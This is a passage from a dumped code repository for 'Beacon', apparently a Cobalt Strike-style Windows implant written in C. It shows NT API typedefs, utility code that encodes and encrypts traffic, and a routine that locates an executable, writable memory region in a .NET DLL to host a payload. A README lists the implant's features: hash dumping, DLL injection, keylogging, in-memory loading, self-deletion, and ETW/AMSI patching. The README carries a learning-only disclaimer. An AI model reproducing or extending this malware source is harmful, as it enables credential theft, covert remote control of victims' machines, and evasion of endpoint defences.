POBJECT_TYPE_INFORMATION_V2;\n\n//typedef struct _OBJECT_ATTRIBUTES {\n//\tULONG           Length;\n//\tHANDLE          RootDirectory;\n//\tPUNICODE_STRING ObjectName;\n//\tULONG           Attributes;\n//\tPVOID           SecurityDescriptor;\n//\tPVOID           SecurityQualityOfService;\n//} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;\n\ntypedef enum _FILE_INFORMATION_CLASS {\n\tFileDirectoryInformation = 1,\n\tFileFullDirectoryInformation,                   // 2\n\tFileBothDirectoryInformation,                   // 3\n\tFileBasicInformation,                           // 4\n\tFileStandardInformation,                        // 5\n\tFileInternalInformation,                        // 6\n\tFileEaInformation,                              // 7\n\tFileAccessInformation,                          // 8\n\tFileNameInformation,                            // 9\n\tFileRenameInformation,                          // 10\n\tFileLinkInformation,                            // 11\n\tFileNamesInformation,                           // 12\n\tFileDispositionInformation,                     // 13\n\tFilePositionInformation,                        // 14\n\tFileFullEaInformation,                          // 15\n\tFileModeInformation,                            // 16\n\tFileAlignmentInformation,                       // 17\n\tFileAllInformation,                             // 18\n\tFileAllocationInformation,                      // 19\n\tFileEndOfFileInformation,                       // 20\n\tFileAlternateNameInformation,                   // 21\n\tFileStreamInformation,                          // 22\n\tFilePipeInformation,                            // 23\n\tFilePipeLocalInformation,                       // 24\n\tFilePipeRemoteInformation,                      // 25\n\tFileMailslotQueryInformation,                   // 26\n\tFileMailslotSetInformation,                     // 27\n\tFileCompressionInformation,                     // 28\n\tFileObjectIdInformation,                        // 29\n\tFileCompletionInformation,                      // 30\n\tFileMoveClusterInformation,                     // 31\n\tFileQuotaInformation,                           // 32\n\tFileReparsePointInformation,                    // 33\n\tFileNetworkOpenInformation,                     // 34\n\tFileAttributeTagInformation,                    // 35\n\tFileTrackingInformation,                        // 36\n\tFileIdBothDirectoryInformation,                 // 37\n\tFileIdFullDirectoryInformation,                 // 38\n\tFileValidDataLengthInformation,                 // 39\n\tFileShortNameInformation,                       // 40\n\tFileIoCompletionNotificationInformation,        // 41\n\tFileIoStatusBlockRangeInformation,              // 42\n\tFileIoPriorityHintInformation,                  // 43\n\tFileSfioReserveInformation,                     // 44\n\tFileSfioVolumeInformation,                      // 45\n\tFileHardLinkInformation,                        // 46\n\tFileProcessIdsUsingFileInformation,             // 47\n\tFileNormalizedNameInformation,                  // 48\n\tFileNetworkPhysicalNameInformation,             // 49\n\tFileIdGlobalTxDirectoryInformation,             // 50\n\tFileIsRemoteDeviceInformation,                  // 51\n\tFileUnusedInformation,                          // 52\n\tFileNumaNodeInformation,                        // 53\n\tFileStandardLinkInformation,                    // 54\n\tFileRemoteProtocolInformation,                  // 55\n\n\t//\n\t//  These are special versions of these operations (defined earlier)\n\t//  which can be used by kernel mode drivers only to bypass security\n\t//  access checks for Rename and HardLink operations.  These operations\n\t//  are only recognized by the IOManager, a file system should never\n\t//  receive these.\n\t//\n\n\tFileRenameInformationBypassAccessCheck,         // 56\n\tFileLinkInformationBypassAccessCheck,           // 57\n\n\t//\n\t// End of special information classes reserved for IOManager.\n\t//\n\n\tFileVolumeNameInformation,                      // 58\n\tFileIdInformation,                              // 59\n\tFileIdExtdDirectoryInformation,                 // 60\n\tFileReplaceCompletionInformation,               // 61\n\tFileHardLinkFullIdInformation,                  // 62\n\tFileIdExtdBothDirectoryInformation,             // 63\n\tFileDispositionInformationEx,                   // 64\n\tFileRenameInformationEx,                        // 65\n\tFileRenameInformationExBypassAccessCheck,       // 66\n\tFileDesiredStorageClassInformation,             // 67\n\tFileStatInformation,                            // 68\n\tFileMemoryPartitionInformation,                 // 69\n\tFileStatLxInformation,                          // 70\n\tFileCaseSensitiveInformation,                   // 71\n\tFileLinkInformationEx,                          // 72\n\tFileLinkInformationExBypassAccessCheck,         // 73\n\tFileStorageReserveIdInformation,                // 74\n\tFileCaseSensitiveInformationForceAccessCheck,   // 75\n\tFileKnownFolderInformation,   // 76\n\n\tFileMaximumInformation\n} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;\n\ntypedef struct _IO_STATUS_BLOCK {\n\tunion {\n\t\tNTSTATUS Status;\n\t\tPVOID    Pointer;\n\t};\n\tULONG_PTR Information;\n} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;\n\ntypedef const UNICODE_STRING* PCUNICODE_STRING;\n\ntypedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION\n{\n\tULONG NumberOfProcessIdsInList;\n\tULONG_PTR ProcessIdList[1];\n} FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION;\n\ntypedef struct _THREAD_PARAMETERS\n{\n\tint pid;\n\twchar_t* cmdline;\n} THREAD_PARAMETERS;\n\ntypedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);\ntypedef NTSTATUS(NTAPI* pNtQueryObject)(_In_opt_ HANDLE Handle, _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, _In_ ULONG ObjectInformationLength, _Out_opt_ PULONG ReturnLength);\ntypedef NTSTATUS(NTAPI* pRtlCompareUnicodeString)(_In_ PCUNICODE_STRING String1, _In_ PCUNICODE_STRING String2, _In_ BOOLEAN CaseInSensitive);\ntypedef NTSTATUS(NTAPI* pNtCreateProcessEx)(PHANDLE ProcessHandle, ACCESS_MASK  DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, HANDLE ParentProcess, ULONG Flags, HANDLE SectionHandle OPTIONAL, HANDLE DebugPort OPTIONAL, HANDLE ExceptionPort OPTIONAL, BOOLEAN InJob);\ntypedef BOOL(WINAPI* pMiniDumpWriteDump)(HANDLE hProcess, DWORD dwPid, HANDLE hFile, int DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam);\ntypedef NTSTATUS(NTAPI* pNtQueryInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass);"
  },
  {
    "path": "Beacon/util.c",
    "content": "#include \"Util.h\"\n#include \"Config.h\"\n#include <openssl/aes.h>\n#pragma warning(disable:4996)\n\nuint16_t Readshort(uint8_t* b) {\n    return (uint16_t)b[0] << 8 | (uint16_t)b[1];\n}\n\n\nbool IsHighPriv() {\n    // ڴ˴джǷиȨ޵߼\n\n    HANDLE hToken;\n    TOKEN_ELEVATION elevation;\n    DWORD size;\n\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        printf(\"Failed to open process token.\\n\");\n        return FALSE;\n    }\n\n    if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size)) {\n        CloseHandle(hToken);\n        printf(\"Failed to get token information.\\n\");\n        return FALSE;\n    }\n\n    CloseHandle(hToken);\n\n    return elevation.TokenIsElevated;\n}\n\nuint32_t bigEndianUint32(uint8_t b[4]) {\n    return ((uint32_t)b[0] << 24) | ((uint32_t)b[1] << 16) | ((uint32_t)b[2] << 8) | (uint32_t)b[3];\n}\n\n\nvoid PutUint32BigEndian(uint8_t* b, uint32_t v) {\n    b[0] = (uint8_t)(v >> 24);\n    b[1] = (uint8_t)(v >> 16);\n    b[2] = (uint8_t)(v >> 8);\n    b[3] = (uint8_t)v;\n}\n\nuint8_t* WriteInt(size_t nInt, uint8_t* bBytes) {\n    PutUint32BigEndian(bBytes, nInt);\n    return bBytes;\n}\nvoid PutUint16BigEndian(uint8_t* bytes, uint16_t value) {\n    bytes[0] = (value >> 8) & 0xFF;\n    bytes[1] = value & 0xFF;\n}\n\nunsigned char* RandomAESKey(unsigned char* aesKey, size_t keyLength) {\n    // Generate random bytes for AES key\n    RAND_bytes(aesKey, keyLength);\n\n     //Output generated AES key\n    //printf(\"GlobalKey Key: \");\n    /*for (size_t i = 0; i < keyLength; ++i) {\n        printf(\"0x%02x, \", aesKey[i]);\n    }\n    printf(\"\\n\");\n    for (size_t i = 0; i < keyLength; ++i) {\n        printf(\"%d, \", aesKey[i]);\n    }\n    printf(\"\\n\");*/\n    return aesKey;\n}\n// ĸ'A''Z'\nwchar_t getRandomWideLetter() {\n    return L'A' + rand() % 26; // ĸ'A''Z'\n}\n\n//\nint GenerateEvenRandomInt(int min, int max) {\n    srand((unsigned int)time(NULL)); // ʹõǰʱΪ\n\n    int randomInt = rand() % (max - min + 1) + min; //  min  max ֮\n    if (randomInt % 2 != 0) { // ΪһʹΪż\n        randomInt++;\n    }\n\n    return randomInt;\n}\n\nuint8_t* ConByte(uint8_t** arrays, size_t* sizes, size_t numArrays) {\n    size_t totalSize = 0;\n\n    // ܴС\n    for (size_t i = 0; i < numArrays; ++i) {\n        totalSize += sizes[i];\n    }\n\n    uint8_t* result = (uint8_t*)malloc(totalSize); // 㹻ڴӺ\n\n    if (result == NULL) {\n        // ڴʧ\n        return NULL;\n    }\n\n    size_t offset = 0;\n\n    // ÿݵ\n    for (size_t i = 0; i < numArrays; ++i) {\n        memcpy(result + offset, arrays[i], sizes[i]);\n        offset += sizes[i];\n    }\n\n    return result;\n}\n\n\n\nchar* base64Encode(unsigned char* data, size_t inputLength) {\n    BIO* bio, * b64;\n    BUF_MEM* bufferPtr;\n    b64 = BIO_new(BIO_f_base64());\n    BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL);\n    bio = BIO_new(BIO_s_mem());\n    bio = BIO_push(b64, bio);\n\n    BIO_write(bio, data, inputLength);\n    BIO_flush(bio);\n\n    BIO_get_mem_ptr(bio, &bufferPtr);\n    BIO_set_close(bio, BIO_NOCLOSE);\n    BIO_free_all(bio);\n\n    char* encodedData = (char*)malloc(bufferPtr->length + 1);\n    if (!encodedData) {\n        fprintf(stderr, \"ڴʧ\\n\");\n        return NULL;\n    }\n\n    memcpy(encodedData, bufferPtr->data, bufferPtr->length);\n    encodedData[bufferPtr->length] = '\\0';\n\n    return encodedData;\n}\n\nunsigned char* NetbiosEncode(unsigned char* data, size_t data_length, unsigned char key, size_t* encoded_length) {\n    if (data == NULL || data_length == 0) {\n        return NULL;\n    }\n\n    unsigned char* result = (unsigned char*)malloc(2 * data_length * sizeof(unsigned char));\n    if (result == NULL) {\n        // Handle memory allocation failure\n        return NULL;\n    }\n\n    *encoded_length = 0;\n\n    for (size_t i = 0; i < data_length; ++i) {\n        unsigned char value = data[i];\n        unsigned char buf[2];\n\n        buf[0] = (value >> 4) + key;\n        buf[1] = (value & 0xF) + key;\n\n        result[(*encoded_length)++] = buf[0];\n        result[(*encoded_length)++] = buf[1];\n    }\n    /*printf(\"NetbiosEncode : \\n\");\n    for (size_t i = 0; i < 2 * data_length * sizeof(unsigned char); ++i) {\n        printf(\"%d \", result[i]);\n    }\n    printf(\"\\n\");*/\n\n    return result;\n}\nunsigned char* NetbiosDecode(unsigned char* data, int data_length, unsigned char key ,size_t* NetbiosDecodelen) {\n    for (int i = 0; i < data_length; i += 2) {\n        data[i / 2] = ((data[i] - key) << 4) + ((data[i + 1] - key) & 0xf);\n    }\n    *NetbiosDecodelen = data_length / 2;\n    return data;\n}\nvoid XOR(unsigned char* data, unsigned char* key, size_t length) {\n    for (size_t i = 0; i < length; ++i) {\n        data[i] ^= key[i % 4]; // Assuming the key is 4 bytes, XOR operation\n    }\n}\n\nunsigned char* MaskEncode(unsigned char* data, size_t data_length , size_t* codelen) {\n    unsigned char* result = (unsigned char*)malloc((data_length + 4) * sizeof(unsigned char*));\n    if (result == NULL) {\n        // Handle memory allocation failure\n        return NULL;\n    }\n\n    // Generate random key\n    unsigned char key[4];\n    for (int i = 0; i < 4; ++i) {\n        key[i] = rand() & 0xFF; // Assuming the key is 4 bytes\n    }\n\n    // Copy the key to the beginning of the result buffer\n    memcpy(result, key, 4);\n\n    // Perform XOR operation on the data using the key\n    XOR(data, key, data_length);\n\n    // Copy the XORed data to the result buffer after the key\n    memcpy(result + 4, data, data_length);\n    result[data_length + 4] = '\\0';\n\n   // printf(\"MaskEncode : \\n\");\n   /* for (size_t i = 0; i < data_length + 4; ++i) {\n    printf(\"%d \", result[i]);\n    }\n    printf(\"\\n\");*/\n    *codelen = data_length + 4;\n    return result;\n}\n// MaskDecode function (assuming XOR operation as in the Go code)\nunsigned char* MaskDecode(unsigned char* data, size_t data_length, unsigned char* key, int key_length) {\n    for (int i = 0; i < data_length; ++i) {\n        data[i] ^= key[i % key_length];\n    }\n    return data;\n}\n//unsigned char* PaddingWithA(const unsigned char* rawData, size_t rawDataLen, size_t* paddedDataLen) {\n//    size_t blockSize = AES_BLOCK_SIZE;\n//    size_t paddedLen = ((rawDataLen + blockSize - 1) / blockSize) * blockSize;\n//    unsigned char* paddedData = (unsigned char*)malloc(paddedLen);\n//    if (paddedData == NULL) {\n//        fprintf(stderr, \"Memory allocation failed\\n\");\n//        return NULL;\n//    }\n//\n//    memcpy(paddedData, rawData, rawDataLen);\n//\n//    for (size_t i = rawDataLen; i < paddedLen; i++) {\n//        paddedData[i] = 'A'; // Fill with 'A'\n//    }\n//\n//    *paddedDataLen = paddedLen;\n//    return paddedData;\n//}\nunsigned char* PaddingWithA(unsigned char* rawData, size_t len, size_t* paddedDataLen) {\n    size_t step = 16;\n    size_t pad = len % step;\n    size_t padSize = step - pad;\n    unsigned char* newBuf = malloc(len + padSize + 1); // Extra byte for '\\0'\n    if (newBuf == NULL) {\n        fprintf(stderr, \"ڴʧ\\n\");\n        return NULL;\n    }\n    memcpy(newBuf, rawData, len);\n    memset(newBuf + len, 'A', padSize);\n    newBuf[len + padSize] = '\\0';\n    *paddedDataLen = len + padSize;\n    return newBuf;\n}\n\n\nunsigned char* AesCBCEncrypt(unsigned char* rawData, unsigned char* key,size_t len, size_t* encryptedDataLen) {\n    AES_KEY aesKey;\n    unsigned char IVA[AES_BLOCK_SIZE];\n    memcpy(IVA, IV, AES_BLOCK_SIZE);\n    if (AES_set_encrypt_key(key, 128, &aesKey) != 0) {\n        fprintf(stderr, \"AES_set_encrypt_key error\\n\");\n        return NULL;\n    }\n    size_t blockSize = 16; // AES block size is 16 bytes\n    size_t paddedDataLen;\n    unsigned char* paddedData = PaddingWithA(rawData, len,&paddedDataLen);\n    if (paddedData == NULL) {\n        return NULL;\n    }\n    size_t paddedLen = paddedDataLen;\n    size_t cipherTextLen = blockSize + paddedLen;\n    unsigned char* paddedLenDATA = malloc(paddedLen + 1); // Extra byte for '\\0'\n    if (paddedLenDATA == NULL) {\n        fprintf(stderr, \"ڴʧ\\n\");\n        free(paddedData);\n        return NULL;\n    }\n    AES_cbc_encrypt(paddedData, paddedLenDATA, paddedLen, &aesKey, IVA, AES_ENCRYPT);\n    unsigned char ADD[16] = { 0X00,0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 };\n    unsigned char* cipherText = malloc(cipherTextLen + 1);\n    memcpy(cipherText, ADD ,16);\n    memcpy(cipherText+16, paddedLenDATA, paddedLen);\n    *encryptedDataLen = paddedLen+16;\n    return cipherText;\n}\n\nunsigned char* AesCBCDecrypt(unsigned char* encryptData, unsigned char* key, size_t dataLen , size_t* decryptAES_CBCdatalen) {\n    AES_KEY aesKey;\n    unsigned char IVA[AES_BLOCK_SIZE];\n\n    memcpy(IVA, IV, AES_BLOCK_SIZE);\n    if (AES_set_decrypt_key(key, 128, &aesKey) < 0) {\n        fprintf(stderr, \"Failed to set AES decryption key\\n\");\n        return NULL;\n    }\n\n    if (dataLen % AES_BLOCK_SIZE != 0) {\n        fprintf(stderr, \"Ciphertext is not a multiple of the block size\\n\");\n        return NULL;\n    }\n\n    unsigned char* decryptData = (unsigned char*)malloc(dataLen);\n    if (decryptData == NULL) {\n        fprintf(stderr, \"Memory allocation failed\\n\");\n        return NULL;\n    }\n\n    AES_cbc_encrypt(encryptData, decryptData, dataLen, &aesKey, IVA, AES_DECRYPT);\n    unsigned long errCode = ERR_get_error();\n    if (errCode != 0) {\n        char errStr[256];\n        ERR_error_string(errCode, errStr);\n        fprintf(stderr, \"OpenSSL error: %s\\n\", errStr);\n    }\n   /* printf(\"AESCBCdecryptData %d  \\n\", dataLen);\n    for (int i = 0; i < dataLen; i++) {\n        printf(\"%d \", decryptData[i]);\n    }*/\n    *decryptAES_CBCdatalen = dataLen;\n    \n    return decryptData;\n    \n}\n\n// 庯ַת\nunsigned char* CodepageToUTF8(unsigned char* input, size_t inputLen, size_t* outputLen) {\n    int utf8Len = MultiByteToWideChar(CP_ACP, 0, (LPCSTR)input, inputLen, NULL, 0);\n    if (utf8Len == 0) {\n        printf(\"Error in MultiByteToWideChar: %d\\n\", GetLastError());\n        return NULL;\n    }\n\n    wchar_t* utf16Buffer = (wchar_t*)malloc((utf8Len + 1) * sizeof(wchar_t));\n    if (utf16Buffer == NULL) {\n        printf(\"Memory allocation error.\\n\");\n        return NULL;\n    }\n\n    MultiByteToWideChar(CP_ACP, 0, (LPCSTR)input, inputLen, utf16Buffer, utf8Len);\n\n    int utf8OutputLen = WideCharToMultiByte(CP_UTF8, 0, utf16Buffer, utf8Len, NULL, 0, NULL, NULL);\n    if (utf8OutputLen == 0) {\n        printf(\"Error in WideCharToMultiByte: %d\\n\", GetLastError());\n        free(utf16Buffer);\n        return NULL;\n    }\n\n    unsigned char* utf8Buffer = (unsigned char*)malloc(utf8OutputLen + 1);\n    if (utf8Buffer == NULL) {\n        printf(\"Memory allocation error.\\n\");\n        free(utf16Buffer);\n        return NULL;\n    }\n\n    WideCharToMultiByte(CP_UTF8, 0, utf16Buffer, utf8Len, (LPSTR)utf8Buffer, utf8OutputLen, NULL, NULL);\n    utf8Buffer[utf8OutputLen] = '\\0';\n\n    free(utf16Buffer);\n    *outputLen = utf8OutputLen;\n    return utf8Buffer;\n}\n\n#define HMAC_KEY_LENGTH 16  // HMAC Keyĳ\nextern unsigned char Hmackey[16];\n//extern unsigned char Hmackey[16];\n#define HMAC_KEY_LENGTH 16 // Assuming HMAC key length is 16 bytes\nunsigned char* HMkey(const unsigned char* encryptedBytes, size_t encryptedBytesLen) {\n    if (encryptedBytes == NULL || encryptedBytesLen == 0) {\n        return NULL;\n    }\n\n    unsigned char hmac_result[EVP_MAX_MD_SIZE];\n    unsigned int hmac_len = 0;\n\n    HMAC_CTX* hmac_ctx = HMAC_CTX_new();\n    if (hmac_ctx == NULL) {\n        fprintf(stderr, \"Failed to create HMAC context\\n\");\n        return NULL;\n    }\n\n    if (!HMAC_Init_ex(hmac_ctx, Hmackey, HMAC_KEY_LENGTH, EVP_sha256(), NULL)) {\n        fprintf(stderr, \"HMAC initialization failed\\n\");\n        HMAC_CTX_free(hmac_ctx);\n        return NULL;\n    }\n\n    if (!HMAC_Update(hmac_ctx, encryptedBytes, encryptedBytesLen)) {\n        fprintf(stderr, \"HMAC update failed\\n\");\n        HMAC_CTX_free(hmac_ctx);\n        return NULL;\n    }\n\n    if (!HMAC_Final(hmac_ctx, hmac_result, &hmac_len)) {\n        fprintf(stderr, \"HMAC finalization failed\\n\");\n        HMAC_CTX_free(hmac_ctx);\n        return NULL;\n    }\n\n    HMAC_CTX_free(hmac_ctx);\n\n    // Return only the first 16 bytes of the HMAC result\n    unsigned char* truncated_hmac = (unsigned char*)malloc(16 * sizeof(unsigned char));\n    if (truncated_hmac == NULL) {\n        fprintf(stderr, \"Memory allocation failed\\n\");\n        return NULL;\n    }\n\n    memcpy(truncated_hmac, hmac_result, 16);\n    return truncated_hmac;\n}\nunsigned char* intToUnsignedChar(int value) {\n    unsigned char* result = (unsigned char*)malloc(sizeof(int)); // СͬĿռ\n    if (result == NULL) {\n        perror(\"Memory allocation failed\");\n        exit(EXIT_FAILURE);\n    }\n\n    // ʹλ㽫ֳֽڲ洢\n    for (int i = 0; i < sizeof(int); ++i) {\n        result[i] = (value >> (8 * i)) & 0xFF;\n    }\n\n    return result;\n}\n\nunsigned char* str_replace_all(unsigned char* str, unsigned char* find, unsigned char* replace) {\n    size_t find_len = strlen(find);\n    size_t replace_len = strlen(replace);\n    size_t str_len = strlen(str);\n\n    // 滻ַĳ\n    size_t result_len = 0;\n    unsigned char* ptr = str;\n    while ((ptr = strstr(ptr, find)) != NULL) {\n        result_len += replace_len;\n        ptr += find_len;\n    }\n\n    // 滻ַʵʳ\n    size_t result_actual_len = str_len + result_len;\n\n    // 㹻ڴռ洢滻ַ\n    unsigned char* result = (unsigned char*)malloc((result_actual_len + 1) * sizeof(unsigned char));\n    if (result == NULL) {\n        return NULL; // ڴʧ\n    }\n\n    unsigned char* res_ptr = result;\n    ptr = str;\n    while (*ptr) {\n        if (strstr(ptr, find) == ptr) {\n            strcpy(res_ptr, replace);\n            res_ptr += replace_len;\n            ptr += find_len;\n        }\n        else {\n            *res_ptr++ = *ptr++;\n        }\n    }\n    *res_ptr = '\\0';\n\n    return result;\n}\n\n\nDWORD_PTR FindRWXOffset(HMODULE hModule) {\n    IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule);\n    if (ntHeader != NULL) {\n        IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);\n        for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {\n            if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) {\n                DWORD_PTR baseAddress = (DWORD_PTR)hModule;\n                DWORD_PTR sectionOffset = sectionHeader->VirtualAddress;\n                DWORD_PTR sectionSize = sectionHeader->SizeOfRawData;\n                //printf(\"Base Address: %p\\n\", (void*)baseAddress);\n                //printf(\"Section Offset: %p\\n\", (void*)sectionOffset);\n                //printf(\"Size of section: %lu\\n\", sectionSize);\n                return sectionOffset;\n            }\n            sectionHeader++;\n        }\n    }\n    return 0;\n}\n\nDWORD_PTR FindRWXSize(HMODULE hModule) {\n    IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule);\n    if (ntHeader != NULL) {\n        IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);\n        for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {\n            if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) {\n                DWORD_PTR sectionSize = sectionHeader->SizeOfRawData;\n                printf(\"Size of section: %lu\\n\", sectionSize);\n                return sectionSize;\n            }\n            sectionHeader++;\n        }\n    }\n    return 0;\n}\n\nLPVOID RWXaddress() {\n\n    HMODULE hDll = LoadLibraryW(L\"System.Private.CoreLib.ni.dll\");\n    if (hDll == NULL) {\n        DWORD error = GetLastError();\n        LPVOID lpMsgBuf;\n        FormatMessage(\n            FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,\n            NULL,\n            error,\n            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n            (LPTSTR)&lpMsgBuf,\n            0,\n            NULL\n        );\n\n        // Print error message\n        wprintf(L\"Failed to load the targeted DLL: %s\\n\", (wchar_t*)lpMsgBuf);\n\n        // Free resources\n        LocalFree(lpMsgBuf);\n    }\n\n    MODULEINFO moduleInfo;\n    if (!GetModuleInformation(\n        GetCurrentProcess(),\n        hDll,\n        &moduleInfo,\n        sizeof(MODULEINFO))\n        ) {\n        // fail\n        printf(\"Failed to get module info\\n\");\n    }\n\n    DWORD_PTR RWX_SECTION_OFFSET = FindRWXOffset(hDll);\n    DWORD_PTR RWX_SECTION_SIZE = FindRWXSize(hDll);\n\n    LPVOID payloadAddress = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET);\n    return payloadAddress;\n}"
  },
  {
    "path": "Beacon.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.6.33829.357\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"Beacon\", \"Beacon\\Beacon.vcxproj\", \"{191A6F50-AE83-44D1-8446-9AFB9A077A97}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x64.Build.0 = Debug|x64\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x86.Build.0 = Debug|Win32\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x64.ActiveCfg = Release|x64\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x64.Build.0 = Release|x64\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x86.ActiveCfg = Release|Win32\n\t\t{191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {5E985E9E-A6D4-4AD8-9127-66D77FF25434}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "README.md",
    "content": "# Beacon\n\n郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担。\n\n## 0x01、介绍\n\n作者：[Monster3](https://github.com/M0nster3)\n\n以后不主要搞安全了，把之前搞得一些东西放出来，大家可以参考参考。\n\n## 0x02、实现的一些功能\n\n目前实现修改过的 dump hash ，dll 注入功能，键盘记录，joblist，jobkill，Bof 加载，net 内存加载，shell，run、文件操作相应的功能，sleep，获取主机目录，还有自删除以及 patch ETW，patch Amsi 还添加了光明之门等功能。\n\n可能有一些bug，师傅们看的自己修改一下\n\n"
  },
  {
    "path": "ceshi/ce.c",
    "content": "//֧clx64 obj\n#include <stdio.h>\n#include <windows.h>\n#include <stdint.h>\n#include <stdbool.h>\n#include <stdlib.h>\n#include <string.h>\n#pragma warning(disable:4996)\nvoid vPrintf(char* fmt) {\n\tprintf(fmt);\n}\n\nint main()\n{\n\tHANDLE hFile = CreateFile(L\"self_delete.x6.o\", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n\tif (hFile == INVALID_HANDLE_VALUE)\n\t{\n\t\tprintf(\"CreateFile error.\\n\");\n\t\treturn 0;\n\t}\n\tint file_size = 0;\n\tfile_size = GetFileSize(hFile, NULL);\n\tchar* buff;\n\tbuff = (char*)malloc(file_size);\n\tDWORD dwRead;\n\tif (!ReadFile(hFile, buff, file_size, &dwRead, NULL))\n\t{\n\t\tprintf(\"ReadFile error.\\n\");\n\t\treturn 0;\n\t}\n\n\t//COFFļͷ\n\tPIMAGE_FILE_HEADER PECOFF_FileHeader = (PIMAGE_FILE_HEADER)buff;\n\tprintf(\"Machine: %x \\n\", PECOFF_FileHeader->Machine);\n\tprintf(\"NumberOfSections %d \\n\", PECOFF_FileHeader->NumberOfSections);\n\tprintf(\"TimeDateStamp %d \\n\", PECOFF_FileHeader->TimeDateStamp);\n\tprintf(\"PointerToSymbolTable %d \\n\", PECOFF_FileHeader->PointerToSymbolTable);\n\tprintf(\"NumberOfSymbols %d \\n\", PECOFF_FileHeader->NumberOfSymbols);\n\tprintf(\"SizeOfOptionalHeader %d \\n\", PECOFF_FileHeader->SizeOfOptionalHeader);\n\tprintf(\"Characteristics %x \\n\", PECOFF_FileHeader->Characteristics);\n\n\t//SizeOfOptionalHeader no\n\n\t//COFFڱ\n\tPIMAGE_SECTION_HEADER* PECOFF_SectionHeader_arr = (PIMAGE_SECTION_HEADER*)malloc(PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER));\n\tmemset(PECOFF_SectionHeader_arr, 0, PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER));\n\n\tPIMAGE_SECTION_HEADER PECOFF_SectionHeader = (PIMAGE_SECTION_HEADER)(buff + sizeof(IMAGE_FILE_HEADER));\n\n\n\tfor (size_t i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++)\n\t{\n\t\tPECOFF_SectionHeader_arr[i] = PECOFF_SectionHeader;\n\t\tprintf(\" %s \\n\", PECOFF_SectionHeader->Name);\n\t\tprintf(\"δС %d \\n\", PECOFF_SectionHeader->SizeOfRawData);\n\t\tPECOFF_SectionHeader++;\n\n\t}\n\n\t//ضλ\n\tint Relocation_len = 0;\n\tfor (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++)\n\t{\n\t\tRelocation_len += PECOFF_SectionHeader_arr[i]->NumberOfRelocations;\n\t}\n\n\tint x = 0;\n\tPIMAGE_RELOCATION* PECOFF_Relocation_arr = (PIMAGE_RELOCATION*)malloc(Relocation_len * sizeof(PIMAGE_RELOCATION));\n\tmemset(PECOFF_Relocation_arr, 